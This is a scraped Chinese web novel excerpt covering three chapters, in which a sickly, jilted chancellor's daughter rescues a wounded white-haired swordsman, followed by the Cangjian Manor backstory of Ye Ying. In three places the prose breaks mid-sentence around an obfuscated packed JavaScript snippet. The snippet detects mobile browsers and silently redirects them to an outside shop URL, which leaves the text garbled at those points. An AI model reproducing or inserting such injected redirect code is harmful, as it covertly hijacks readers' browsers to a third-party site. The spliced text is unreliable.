《病美人如何在崩坏世界饲养庄花?》 1. 天赐良缘,鸾凤和鸣 六月的天,本就热得早。才过了晌午,那日头便明晃晃地晒得人发晕。 林芊雅从护国寺回程的马车里,便觉着这天气闷得人心慌。 她独自坐着,指尖下意识捻着袖口,袖袋里新求来的签文正硌着手臂。 她到底还是没忍住将签文抽了出来。 黄纸红字,写得端端正正:君子佳人相会合。下头还有一行小注:天赐良缘,鸾凤和鸣。 方才在寺里,那解签的老和尚看了便眉开眼笑,连说了三声上上大吉,又合十念了句佛,道是菩萨显灵,这般好的签文,他一年也解不出一两张来。 林芊雅当时只垂着眼谢了,将签文仔细折好收进袖袋,又添了二两银子的香油钱。 可一出寺门,坐进这摇晃的车厢里,那签文上的字便一个个在她眼前浮现。 君子佳人?天赐良缘? 其实去年南安王府退婚那场闹剧,早就传遍了京城。世子萧琰当众揽着个倚红楼的歌姬,竟说她还不如那歌姬好。 从那以后,她林芊雅这三个字,就成了京城婚嫁场上最烫手的笑话。 今年开春,父亲试探着提过两户人家,对方不是推说儿子年幼,就是直言高攀不起。 她心里跟明镜似的,谁又愿意娶个病弱又坏了名声的相府千金? 如今怕是除了攀附权贵的寒门子弟,稍微体面些的人家,也怕是瞧不上自己了。 马车行至东市闹街,外头的喧哗声便骤然拔高。 哭嚎声、呵斥声、还有刀剑相击的脆响混在一处,隔着车帘也能听得真切。 “小姐,”坐在车辕上的丫鬟春华掀了帘子一角,小声道,“前头像是……江湖人在闹事呢。” 林芊雅微微侧脸,透过那缝隙瞥了一眼。 只见街心围了好大一圈人,中间一个锦衣华服的公子哥儿正捂着脸哀嚎,指缝里渗出血来。他对面站着个背负长剑的年轻侠客,一身青布短打,眉目英挺,此刻正横剑当胸,义正辞严地喝道:“光天化日,强抢民女,还有王法吗?!” 那被抢的姑娘缩在侠客身后,哭得梨花带雨。四周围观的人群不仅不躲,反倒指指点点,竟还有人拍手叫好。 春华看得咋舌,小声嘀咕:“这都第几回了?上个月西街也是这般,上上个月南市也有……这些江湖人,怎的到了京城也不知收敛?” 林芊雅收回目光,只淡淡道:“京城捕快都不管,我们又操什么心。” 她说的是实情。也不知从什么时候起,京城的治安便成了这般古怪模样。 江湖游侠当街行侠仗义,官府的人往往要等事情了结了才姗姗来迟,草草问几句便罢。起初还有人非议,可时间长了,大家竟都习以为常。 春华放下帘子,忍不住又道:“怕是管不了吧,奴婢还听说,近来江湖上出了好些个了不得的人物。城东茶馆说书的天天讲,有的说是坠下山崖得了旷世秘籍,一夜间武功大进;有的说是拜了隐世的大儒为师,文武双全;还有的说是进了什么古墓,遇见了仙女……” 她说着自己先笑起来:“这些江湖话本,编得比戏文还离奇。人要是真能飞高飞低的岂不是成了神仙不成?” 林芊雅却没笑。 她想起父亲前几日下朝回来,难得在她面前叹了气,说朝堂上也并不太平。 圣上前段时日南巡,不知怎么遇着个民间女子,带回宫便封了贵妃,宠得无法无天。 那贵妃行事更是古怪,前些日子竟闹着要圣上废黜后宫,与她一生一世一双人。 满朝文武劝谏的折子堆成了山,圣上却只当没看见。 这还不算完。 京城这半年,忽然冒出好些个古怪的店铺。有叫什么商场的,三层楼高,里头卖的东西五花八门,从胭脂水粉到锅碗瓢盆一应俱全;还有叫超市的,说是自选货物,结账时用的也不是铜钱银子,而是花花绿绿的代金券。起初还有人嗤之以鼻,可架不住东西新鲜齐全,如今竟也门庭若市。 更奇的是,京中好些人家的女儿,原本平平无奇,甚至有些还是出了名的败家刁蛮,可一旦投了水、撞了墙,或是生了场大病,醒过来便像换了个人。有原本连粥都不会煮的,忽然成了能做满汉全席的厨神;有目不识丁的,忽然能吟诗作对,才名远播。 这世道,仿佛一夜间就变得让人看不懂了。 林芊雅闭了闭眼。 世道可真是越来越荒唐了。 可这些事,她虽然觉得荒唐。 但再荒唐,到底也与她无关。 她一个药罐子里泡大的相府千金,被退了婚,坏了名声,如今也只求能守着父亲,在这越来越古怪的世道里,寻一处安稳罢了。 “小姐您看!” 马车又重新动起来,春华忽然又凑到窗边,指着外头一间新开的铺子。 林芊雅顺着她指的方向看去。 那是间首饰铺子,门面不大,却装修得精致,黑底金字的匾额上写着一映居三个字。 琉璃做的橱窗里摆着几件首饰,其中一支银簪格外显眼——簪头是白玉雕成的新月,旁有银丝细细盘绕成兰草模样,下头还悬着三串极小的莲花灯笼流苏,风一吹,便轻轻晃动,清雅又精巧。 倒不像是京城老师傅们的手笔。 “这簪子可真好看。一定适合小姐!”春华眼睛都亮了,“奴婢听说,这一映居是最近才开的,掌柜的是个姓薛的年轻娘子,生得漂亮,口才也好。她家的样式都是自己画的,京城独一份儿。还说什么……叫上亲朋好友助力就可以买三件减一件,叫什么拼刀刀?她家男人还据说是城门守城的捕头,身上很有些武艺呢。” 春华说到后头,自己先迷糊了:“不过,这拼刀刀是什么说法?奴婢听了好几次也没明白。只说是有买有送就是了。” 林芊雅也摇了摇头。 她对这些新奇说法向来不敏感,只觉得那簪子确实别致。 白玉温润,银丝精巧,莲花灯笼的流苏更是灵动可爱。 她看了片刻,轻声道:“包起来吧。” 春华“哎”了一声,高高兴兴地下了车。 不多时便捧着个锦盒回来,打开给她看——正是那支新月兰草簪,躺在深红色的绒布里,越发显得莹润可爱。 林芊雅看了一眼,合上锦盒,又吩咐道:“去旁边的宝器斋,请一尊玉观音像。要上好的羊脂玉,雕工精细些的。” 春华应了,正要再去,林芊雅又补了一句:“用我自己的私房钱,不必走公账。” “是。”春华心下了然,抱着锦盒匆匆去了。 车厢里又只剩林芊雅一人。她靠着车壁,指尖无意识地在锦盒上摩挲。 请观音像是给母亲的。 其实她不太记得母亲的样子了。只依稀记得是个很温柔的女子,似乎总安安静静的。 她四岁那年失足落水,寒冬腊月的池水,捞上来时便只剩一口气了。 母亲守了她三天三夜,她醒过来那日,母亲却倒下了。 那年冬天特别冷,或许是生她时留下的后遗症,母亲倒底没能熬过去。 这世间往往祸不单行,从那以后,她的身子便彻底垮了。 父亲说是宫里太医署最好的太医把她从鬼门关拉回来的。 可林芊雅却模模 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224166|197544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 糊糊记得,昏沉之间好像见过个穿道袍的影子,往她嘴里喂了颗丸子。那丸子凉丝丝的,带着股清苦的药味。 后来遍请名医,药不知吃了多少,可底子坏了就是坏了,只能小心将养着长大。平日里便是拿上几本书重了些,丫鬟婆子们也都会大声惊呼的。 毕竟父亲未再续弦,独自将她抚养长大。她便是林府里唯二的主子。父亲虽忙于公务,不常在家,可为人对下人却是极为严厉的。所以丫鬟婆子们也都怕着她出事。 其实她知道,父亲是把对母亲的愧疚与思念,都加倍给了她。 可这份疼爱,在旁人眼中却反而成了负担。 南安王府退婚那日,世子的羞辱言犹在耳。他说: “一个整天泡在药罐子里的病秧子,肩不能挑手不能提,风一吹就倒,能不能生出儿子都两说,也配当本世子的正妃?” 她当时站在堂下,听着那些话,脸上没什么表情,心里却一片冰凉。等世子说完,她才上前一步,对父亲福了福身,平静道:“世子爷金贵,我们林家高攀不起世子爷,爹爹,这婚约,便退了吧。” 她没有哭闹,没有质问,甚至没有多看世子一眼。 只是转身离开时,听见身后传来世子得意的笑声,还有父亲压抑沉重的叹息。 他说:“雅儿,是爹对不住你。当年定下这门亲,是想着两家交好,南安王又与我同朝为官,他家的儿子总不会差到哪里去……谁知道,养出这么个混账东西。” 林芊雅摇摇头:“不怪爹。六岁的孩子,谁能看得出日后长成什么样。定亲定得早,不过是想着好人家要早点下手,免得错过了。” 从那以后,病秧子、被退婚便成了贴在她身上的标签,撕不掉,洗不净。 “小姐!簪子和观音像都请好了。”春华的声音打断了她的思绪。 林芊雅回过神,点了点头:“回家吧。” 马车又重新动起来,车轮碾过青石板路,发出轱辘轱辘的声响。 暮色渐沉,天边的云彩染上一层橘红,暖融融的,可车厢里却依旧闷热。 行至城郊官道时,天色已经暗了大半。 路两旁是成片的农田,这个时节麦子正绿,风一吹,便泛起层层绿浪。 车夫老陈忽然“吁——”地一声急喝! 马车猛地一顿,剧烈颠簸起来!林芊雅猝不及防,身子往前一冲,额头险些撞到车窗。 春华更是惊呼一声,手里的锦盒差点脱手。 “哐当——”小几上的茶盏翻倒,温热的茶水泼出来,湿了林芊雅半边裙摆。 “怎么回事?”她扶住车窗稳住身形,声音还算镇定。 春华已经探身出去看,缩回来时却脸色煞白,嘴唇都在哆嗦:“小姐……前头、前头官道上……躺着个人!” 林芊雅指尖一僵。 血腥味隐隐飘来,混杂着泥土和青草的气息,在闷热的空气里格外刺鼻。 荒郊野外,黄昏时分,官道上躺着个动也不动的人? 父亲曾告诫过。 要远离江湖仇杀,远离朝堂倾轧,遇到是非,绕道走,莫要多看一眼。沾上哪一种,都可能引来灭顶之灾,让本就站在风口浪尖的林家雪上加霜。 理智在告诉她:绕过去,立刻回家。 天色已晚,此地偏僻,多留一刻便多一分危险。 可春华却带着哭腔又道:“那人……流了好多血……地上都红了……好像……好像已经……” 已经死了? 林芊雅闭了闭眼,深吸一口气。再睁开时,眼底只剩一片清明。 她掀开车帘。 2. 这世道真病得不轻 官道中央,果然蜷着一个人影。 穿着黄白色的衣袍,此刻却也已被血污浸透了大半,身下的黄土更是被暗褐色的液体浸染开好大一滩。那衣袍的颜色即便污浊不堪,却仍能看出是极扎眼的金黄,上头织着的金色暗纹,在残余的天光里还泛着微弱的反光。 黄色。 林芊雅的心重重一沉。 本朝律例,金黄色唯有皇家能用。便是亲王郡王,也只在朝服、吉服上用些杏黄、姜黄,这般明晃晃的明黄,非天子、太子不可僭越。 此人是谁?为何穿着明黄衣袍倒在官道?是遭了劫杀,还是另有隐情? 救? 此人身份不明,衣着犯忌,恐是天大的祸害。万一牵扯进什么宫闱秘辛和朝堂争斗,只怕整个林家都要被拖下水。 不救? 可若他真是皇家子弟,日后被查出来她见死不救,那亦是重罪。到那时,只怕就不是退婚这么简单了。 林芊雅站在原地,看着官道中央那团模糊的人影和那摊刺目的暗红,只觉得一股寒意从脚底窜了上来。 她已然没有退路了。 其实从她决定下车查看的那一刻起,就已经没有退路了。幕后若真有黑手,她此刻的身影,恐怕早就落进了对方眼里。 “小姐……”春华的声音抖得厉害,“怎么办?” 林芊雅没有立刻回答。她盯着那人影,指甲便深深掐进了掌心。 许久,她终于开口,声音却冷冽而清晰: “去请大夫。” 她转向车夫:“陈伯,用最快的速度,去最近的医馆,把大夫拖过来。快!” 车夫愣了一瞬,慌忙应声,调转车头扬鞭而去。 马蹄声远去,官道上便只剩她们主仆二人,和那个倒在血泊中,生死不知的陌生人。 林芊雅抬步,朝着那人走去。 春华想拉她:“小姐!使不得——” “要么帮忙,要么闭嘴。”林芊雅头也不回,声音不大,却带着不容置疑的决断。 她走到那人身边,蹲下身。 浓重的血腥味扑面而来,混杂着尘土和某种柔和类似海棠熏香的气息。 那人脸朝下趴着,满头白发散乱,沾满了血污和泥土。最奇异的是那发色——并非老人的银白,而是一种如雪似霜的皎白,即便污浊不堪,却仍能看出原本的色泽。 一张年轻男子的脸映入眼帘。即便血污满布,仍能看出轮廓极为周正,眉骨鼻梁的线条干净利落。 最引人注目的是他的右额角——那里有一小块梅花状的胎记,鲜红如血,在苍白的皮肤上格外扎眼。 血污和尘土几乎盖住了他的脸,却意外地没盖住那挺括的鼻梁和清晰的下颌轮廓。 长得倒还挺周正。 不,或许该说是貌若好女吧。最特别的是额角上那点胎记,被血污糊着,看不太清,可形状意外地像朵梅花,美得倒有点妖异。 若是身份家世再贵重些,追着他的女子怕是不计其数。 但最令人惊异的却不是那美得出奇、不若凡尘人的脸,而是那头沾着些血的白发。 此人面容不过青年,却已满头华发? 真是奇怪……难道是那传说中的梅树成精了,总之不太像个正常人。 林芊雅摇摇头,把自己脑海里的胡思乱想甩出去,便伸出手,小心翼翼地将那人翻过来。 目光很快落在他身上那件明黄衣袍上。 她伸手去解衣带,动作很快,却很稳。 “小姐!这、这于礼不合啊!”春华吓得声音都变了调。 “闭嘴。这是催命符,留不得。”林芊雅头也不抬,三两下便解开外袍。 衣袍褪下的瞬间,一枚玉佩便从他怀里滚落,“叮”的一声轻响,落在黄土上。 林芊雅捡起来。玉佩质地极好,触手温润,是上等的羊脂白玉。正面刻着繁复的云纹,中间嵌着一个古体的字—— 葉。 叶? 林芊雅眉心微蹙。 本朝皇族姓萧,前朝皇族姓赵,从未听说过有姓叶的皇室。 是化名?栽赃?还是什么她不知道的隐秘? 无数麻烦的猜测涌上心头。 她压下疑窦,快速将明黄衣袍卷成一团塞给春华:“拿去,找处隐蔽地方,立刻烧掉。一点碎片都不准留下。” 春华抱着那团染血的黄衣,手都在抖。 林芊雅解下自己的披风——月白色的素面绸缎,里头絮了薄薄一层棉。原本是家里用来给她这见风就咳的身子保暖的,现在却正好派上了别的用场。她将披风裹在重伤男子身上,仔细系好带子。 不远处,火光腾起。春华蹲在田埂下,将衣袍一点点丢进火堆。火焰灼烧着金黄的绸缎,腾起的黑烟很快便被晚风吹散。 林芊雅静静看着那火光,脸上没什么表情,可袖中的手却攥得死紧。 若这人真是龙子凤孙,她烧掉的,便是足够林家满门抄斩的铁证。 近来京城种种荒唐事在她脑中一闪而过。 那些坠崖得宝的侠客,那些投水重生的女子,那些奇奇怪怪的店铺,还有宫里那位闹着要一生一世一双人的贵妃…… 一个荒谬的念头忽然钻进她脑子里: 眼前这遭遇,该不会也是那冥冥中的天道安排好的又一出戏码吧? 若真是这样…… 林芊雅下意识攥紧了手心,指尖掐得生疼。 那可就求天道放过我吧。 我可不想被扯进这种故事里被迫跟别人一样搭台唱戏。 我只想守着父亲,在这越来越诡异的世界里,尽力清醒地安稳地活下去。 火光中最后那片明黄也烧没了。 不远处,马蹄声由远及近。老陈也带着大夫赶回来了。 林芊雅站起身,整了整衣裙,脸上又恢复了惯常的平静。 无论这人是谁,无论这背后藏着什么,眼下最要紧的,是先保住他的命。 至于其他,等他能活下来再说吧。 大夫姓张,是一个干瘦的老头儿,今年高寿六十五,早已须目尽白了,是京城济世堂最有名的大夫。 很是有些名气,据说就是到了阎罗王手中的人也能抢回三分。只是近些年却不常出诊了。没想到老陈竟然把他请来了。 张大夫背着药箱跑得上气不接下气。一见地上那人的伤势,脸色就沉了下去。 旁边随待的医童也蹲下身不用吩咐便开始清理伤口剪开被血浸透的衣衫,露出来的皮肉翻卷着,最深的那处像是被什么铁器划过,正好划中心口,只是原有的铁器却消失不见。 而老大夫则弯下腰仔细查看,又搭了脉,半晌才重重叹了口气。 “姑娘,”他抬起头看向林芊雅,语气沉重,“脑部有淤血,想来是伤到了头部,这还不是最要命的——他内伤极重,心脉受损,五脏皆有震荡之象。能撑到此刻已是老天开眼了。” 林芊雅别过头,压下喉头涌上的恶心。 她自小性子虽然冷静,可却是没见过什么血的,恐怕就连杀鸡都没见过。 如今这样直观的清理伤口,哪怕并不是伤在她身上都让她胃里一阵翻搅。 但她很快便转回身,脸上也没什么表情,只从袖袋里取出所有的银票,塞到了老大夫手里。 “大夫,救命要紧。”她的声音很稳,“用最好的药,不必计较银钱。若不够,明日我让人再送。” 老大夫接过银票,厚厚一沓,面额都不小。他怔了怔,又看看地上昏迷不醒的人,犹豫道:“姑娘,不是老朽推脱,这伤势实在凶险,只怕……” “尽人事,听天命。”林芊雅打断他,“您只管尽力。若真救不回来,那也是他的命数,我不怪您。” 她又掏出些散碎银子,递给一旁的医童:“小哥,也劳烦你多费心照看。等他若是醒了,这些银子你便悄悄压在他枕头底下,让他日后也当个盘缠,寻条生路。” 医童愣愣接过,有些不知所措地看向老大夫,还没说话,旁边的春华先脱口而出:“小姐!我们我们不送他回府里治吗?府上有上好的伤药,还能请太医……” “回府?”林芊雅猛地看向春华,声音陡然拔高,“你让我把他带回府?” “春华,你怕是脑子糊涂了。” 她伸手指指地上昏迷的男人,又指指自己,字字清楚,像是要把每个字都钉进春华脑子里:“我,林芊雅,当朝宰相未出阁的嫡女。他,一个来历不明、重伤濒死、穿着违禁衣袍可能惹来灭门大祸的陌生男人。你让我把他藏进相府,日夜照顾?” 她转向一旁的车夫老陈:“陈伯,你说,这事做得做不得?” 老陈早已吓得脸色发白,连连摆手:“使不得,万万使不得!小姐,这要传出去……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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父亲在朝中已是步步惊心,林家如今就像站在悬崖边上每一步都必须小心翼翼。这个男人,无论如何,绝对不能跟林府扯上任何明面上的关系。 “走吧。”她转身,声音很轻。 马车重新动起来,朝着城门方向驶去。 林芊雅疲惫地靠在车壁上闭上眼睛。 可那张血污的脸、那枚刻着“葉”字的玉佩、还有火堆里烧焦的明黄衣袍,却在她脑子里反复浮现,挥之不去。 可一闭眼,方才那幅画面便又在眼前浮现——那张血污满布却轮廓分明的脸,那满头如雪的白发,额角鲜红的梅花印记,还有那枚刻着“葉”字的温润玉佩。 “葉”。 她反复在心里描摹这个字的笔画。 叶?叶家?本朝有姓叶的显贵吗?她仔细回想,似乎没有。前朝倒是有个叶大将军,可早在三十年前就被抄家灭族了。 难道是化名? 可什么人需要用化名,还穿着明黄衣袍? 思绪像一团乱麻,怎么也理不清。她索性睁开眼,却正好看见袖袋边缘露出的一角黄纸——是那支签文。 “君子佳人相会合”。 “良人将至”。 她扯了扯嘴角,心里涌上一股说不清的讽刺和茫然。 难道菩萨指的“良人”,就是这副模样——来历不明,浑身是血,半只脚踩在鬼门关里,还带着足够碾碎整个林家的大麻烦? 若真是这样…… 她轻轻摇了摇头。 那菩萨点配姻缘的眼光,可真是太特别了些。 她将签文塞回衣袋深处,不想再看。 马车驶过南城街口时,外头又传来一阵喧闹。林芊雅掀开车帘一角,瞥见熟悉的场景——一个衣衫褴褛的姑娘跪在地上,面前铺着张破纸,写着“卖身葬父”。一个锦衣华服的公子哥儿正伸手去拉她,旁边站着个佩剑的少侠,横眉怒目地挡在中间。 “……你这贱民!本少爷看上你是你的福气!”公子哥儿的台词响亮又熟练。 “光天化日,强抢民女,还有王法吗?!”少侠的声音更是中气十足。 周围看热闹的人群爆发出一阵喝彩,还有人鼓掌叫好。 林芊雅默默放下车帘,抬手揉了揉发胀的太阳穴。 看吧,又来了。 连词儿都不带换的。 这世道,真是病得不轻。 3. 叶英,生死不明 藏剑山庄的历史并不久远,传到现任庄主叶孟秋也只是初代而已。 但是藏剑山庄之名却是无人不知,无人不晓,其中缘由多为藏剑山庄所设立之名剑大会。 名剑大会十年一次,每次都会择当时武功最强之士赠予藏剑山庄十年来精心打造的宝剑一把,此剑不但锋利绝世,且打造之法独特,普天之下绝无相同之剑。 第一次名剑大会以来,能够持有藏剑山庄十年一铸之剑,在江湖上已然成为身份与荣耀的象征。 老庄主叶孟秋年近五旬,鬓角已染霜华。他耗费二十五年心血,将藏剑山庄从无到有,打造成与霸刀、唐门、长歌并列的四大世家之一,其间的艰辛不足为外人道。 如今,他深感精力不复往昔,将山庄交予下一代已是势在必行。 长子叶英自幼沉默少言。 开元元年,叶英初学叶家四季剑法之时,木讷已极,叶孟秋传完一套剑式之后,叶英往往用不全一招,即使用出也是完全不成章法,次子叶晖又天生不喜习剑,此事实令叶孟秋懊恼无比。 长子承位本是天经地义,叶孟秋只觉藏剑山庄后继无人,以自己如此天资才华,怎生出如此笨拙的儿子来。 他大怒之下往往无法自持,对叶英时常责骂,恼怒之下禁食罚跪是平常之事。 叶晖看在眼中,心觉不忍,每每私下将食水送与被罚的大哥。 但最奇之事,却是叶英逆来顺受,从不曾回嘴。他凡事不向人言,整日所思之事谁也不知。 叶晖送来食水,他拿来便吃,面上一丝委屈也不曾显露。 相形之下,叶晖时时为大哥担惊受怕,倒像是每日遭罪的是他一般。 岁月荏苒,叶英独居剑冢,每日手中持剑,只是静观寒暑枯荣,却从来不曾施展一式。 开元七年,藏剑山庄举办第二次名剑大会,公孙大娘作为上届得主做客箫音阁。她闲来漫步,路遇抱剑观花的叶英,次日闲谈间便有言对叶孟秋道: “叶氏一脉,果然人材辈出,先有庄主大才,兴盛藏剑,昨日偶观令公子进境,已达道剑境界,实乃后生可畏!” 叶孟秋闻言惊喜莫名。原来叶英八岁习剑那年,叶孟秋施展之武技,他已然刹那间记下,并于心中思量。 正因叶英心思太快,父亲要他发招,他运剑之时,敌手如何反击,自己如何应对,诸般变化尽数想到。他初学剑术所学本少,但心思所达却正合剑道至理。 此后他独居剑冢,六载时光,尽数放在了剑上。座中尚有他人在侧,叶大公子剑技得公孙大娘盛赞之事,便在江湖之上流传了一段时日。 不过其后数年,叶英从未在江湖上显露声名。 他年仅弱冠,便得公孙大娘盛赞其剑技已达“道剑”之境,声名初显。 然而,这位被寄予厚望的少庄主,依旧沉稳寡言,不以物喜,不以己悲,似乎名声远扬,对他来说也没有任何影响。 同小时一样,似乎没有人知道这位,从小时起便以怪扬名的少庄主心中到底想些什么? 今年对叶家而言,实乃多事之秋。 去岁,三弟叶炜心高气傲,于山庄外敌来犯之时,不慎闯入庄内剑阵,竟导致武功尽废。昔日锋芒尽折,如今便只能在庄内静养,性情也愈发孤僻。 月前,五弟叶凡因痴迷武学,苦求更高深的四季剑法却未果,竟负气离家,至今音讯全无。父亲为此忧心忡忡,私下叹气不止,叶英虽未多言,却也暗自悬心。 而最让他心头揪紧的,却是尚在襁褓之中的小妹叶婧衣。 她先天不足,出生时便气息奄奄。 叶英记得清楚,那三日三夜,他亲自策马,不惜跑死七匹骏马,千里奔袭将药王孙思邈请回山庄,才勉强保下小妹性命。 然而孙先生临走时却也说了,小妹根骨孱弱,需常年以珍贵药材温养,未来如何,却仍是未知。 桩桩件件,如同无形的锁链,缠绕在叶英心头。 他是长子,是兄长,也是未来的庄主。弟妹的磨难,山庄的声誉,父亲渐重的托付……所有这些责任,都沉甸甸地压在他肩上。 他深知,即将到来的第三次名剑大会,不仅关乎藏剑山庄在江湖上的地位,更是他向父亲、也向自己证明,有能力接过这千斤重担的关键一役。 为了确保大会万无一失,铸出配得上藏剑盛名的绝世好剑,叶英便决定亲自前往南海,寻觅可用于铸造核心剑器的稀有铁矿。 他需要用一柄足够好的剑,来稳住山庄的声望,也稍慰心中那份因弟妹境遇而生的沉重。 临行前的傍晚,叶英去了三弟叶炜的院子。 院子里很安静,是自两年前就再没有过的安静。 叶英依稀记得,十七岁以前的三弟,心高气傲,意气风发,眉目洒脱,是江湖上少有的骄矜少年郎,总爱提着那柄无双剑邀他和二弟比斗一番,而那时的他往往总是自悟己心,只觉三弟十分吵闹。 如今想来,三弟倒还是热闹些好。 但他自幼寡言,心中就算思绪万千也始终不发一言。 如今再看三弟也不知该说些什么,或许叶炜也不需要他说些什么。 叶英在他身旁不远处站定。 叶炜披着件外衫,独自坐在石阶上,望着角落里一丛将败未败的菊花,眼神雾茫茫的。 叶英不开口,他便也不开口。两人便如同做了木桩子一般,在那边演着哑剧,若是个急性子的人在旁,定恨不得替他们开口言说才是。 过了许久,叶英才低声道:“我明日去南海,寻些铸剑的材料。” 叶炜动也没动,像是没听见。 “家中诸事,你且多看着些。” 叶炜依旧不答话。 叶英看着他那副消沉模样,心中叹了口气,却又不知该如何劝慰。 他自幼寡言,即使对兄弟来说,也同样如此,便只语气清淡着说:“武功没了,剑心便没了吗?” 说完,他转身轻轻将自己练剑的手札放在旁边的石桌上。 “剑冢东南角,那株你当年亲手栽的梅树,今年开得甚好。” 叶炜的背影几不可查地僵硬了一瞬。 叶英顿了顿,继续用那种平淡的语调说:“我离庄后,你若闲来无事……可去瞧瞧。落花覆于残雪之上,景象虽寂,却有生机。” 他没有等叶炜回应,说完这句便真的转身离开了。 留下叶炜独自坐在石阶上,许久之后,那雾茫茫的眼眸似乎动了一下,缓缓转向剑冢的方向。 他不知道叶炜会不会拿,或许会,或许不会。 接着,叶英去了账房寻叶晖。二弟正对着一摞账簿核对着,见他进来,便立刻起身道:“大哥。” “五弟可有消息?”叶英问。 叶晖摇头,眉宇间也是忧色:“派出去的人还没回信。这混小子!他才八岁……又能跑到哪去?!”话没说完,只是重重叹了口气。 叶凡离家时年纪太小,又是负气出走,茫茫人海,寻人如同大海捞针,即使是藏剑山庄家资颇丰也是难如登天。 “总会找到的。”叶英想了想,那个兄弟中最顽皮的甚至还会求着自己扛着他的五弟,又想了想髌骨支离的小妹,说不出什么来宽慰叶晖。 “五弟虽顽劣,机灵尚有,身上盘缠也应足。” 叶晖听了,脸上忧色稍减,苦笑道:“还是大哥稳得住。我这就去安排,顺便……也给蜀中那边的商铺去个信,让他们留意。” “小妹……” “我省得,大哥放心。”叶晖自幼和他相处多年,当然知道自己大哥素来寡言,好在哪怕大哥不用说出口,他都明白他想要说什么意思。于是两人的沟通交流便简单多了。 最后,叶英去了父亲的书房。 叶孟秋正站在窗前,望着远处西子湖的点点渔火。 听到脚步声,他转过身,脸上带着显而易见的疲惫,但看到叶英时,眼神又亮起惯有的严厉与期望。 “都安排妥当了?”叶孟秋问。 “嗯。”叶英应道,“明日一早启程。” 叶孟秋走到书案前,手指无意识地敲了敲桌面。那是他思考或焦虑时的习惯动作。“此去南海,风波难测。寻矿铸剑固然要紧,但……平安回来最要紧。”他顿了顿,声音放低了些,“山庄未来如何,终究要看你们兄弟几个。” 这话里的重量叶英听得明白。他垂眸看着地上两人被烛火拉长的影子。“儿子明白。” 叶孟秋还想说什么,最终只是挥了挥手。“去吧,早些歇息。” 离庄那日,春雨淅淅沥沥。 叶孟秋亲自将叶英送至码头。 他没有多说,只是用力拍了拍长子的肩膀,眼神复杂,那里有期待,有担忧,还有一丝不易察觉的疲惫。叶英能读懂父亲未言之意:山庄的未来,叶家的声名,如今都系于他一身了。 “父亲所铸之剑,皆有名号,承山庄之誉。”他的声音很轻却清晰,“儿子此行,亦望能寻得良材,铸一剑。不为名动天下,但求……能护山庄周全,慰弟妹平安。” 叶孟秋显然没料到长子会说出这番话。 他怔怔地看着叶英,严厉的眼神深处似有波澜涌动。最终,他只是重重拍了拍叶英的肩膀,所有复杂的情绪都化入这一拍之中,千言万语只汇成更低沉的一句:“……去吧。剑如此,人亦如此。” 叶英立在船头,回望雨幕中渐渐模糊的藏剑山庄。楼阁的轮廓,剑冢的方向,还有弟妹们各自居住的院落……都在雨水中淡去。他必须成功,不仅要带回铸剑的材料,更要带着足以承载一切的成果回来。 海上的日子漫长而单调。 碧波万顷,时而平静,时而风浪骤起。 水手们早已习惯,吆喝着调整帆索,只有叶英大多数时候待在舱内。 他盘膝静坐,膝上横放着随身佩剑。 双目微阖,并非沉睡,而是将心神沉入那片唯有剑者方能触及的玄妙之境——无上心剑。 剑气在体内周天流转,意念随海浪起伏,于虚无中勾勒剑意锋芒。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224168|197544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 唯有在此刻,那些关于山庄、关于弟妹、关于责任的纷乱思绪才能暂时沉淀,换来片刻内心的安宁。 偶尔,他也会走出船舱凭栏远眺。海风带着咸湿的气息扑面而来,吹动他一袭黄衣。有年轻的水手好奇地打量这位沉默寡言的少庄主,窃窃私语着关于他“道剑”境界的传闻。叶英听见了,却并不理会。 名声于他,远不及手中之剑实在。 历经数日航行与仔细搜寻,他们终于在一座风暴频仍人迹罕至的孤岛附近,发现了一处矿脉迹象。 不仅找到了预期中的上等寒铁,更在矿脉核心,伴生着一块非同寻常的异铁。 此铁通体黝黑,入手却奇重无比。 叶英的手指抚过其表面,触感冰凉坚硬,上面布满了天然形成的繁复交错的纹路,不似人力雕琢。 凝视久了,他甚至能感到体内初成的剑心微微悸动,仿佛与这异铁产生了某种玄妙的共鸣。 “少庄主,此铁……”随行的铸剑师傅眼神发亮,语气激动。 叶英抬手止住他的话,仔细端详片刻,缓缓点头:“收好。此物……或可作此次名剑大会,点睛之笔。” 他亲自出手,与师傅、水手们一道,耗费不少心力,才将这块异铁与所需寒铁一同采下,妥善封存入特制的木箱。 寻得宝物,归程时天公作美,海面风平浪静。连日的紧绷与劳顿似乎随着波涛远去,一种沉甸甸的踏实感取代了先前的焦虑。 或许正是因为心头稍定,多日积累的疲惫才悄然袭来。 一日午后,海船平稳航行。叶英在舱内调息完毕,目光不由自主地再次落在那只装有异铁的木箱上。 那块铁……总让他有种奇异的熟悉感,仿佛在何处见过,又仿佛与他命运相连。 鬼使神差地,他起身走过去,打开了箱盖。黝黑的铁块静静躺在其中。 他伸出手指,指尖轻轻触上那些冰凉的纹路。 就在触碰的刹那—— 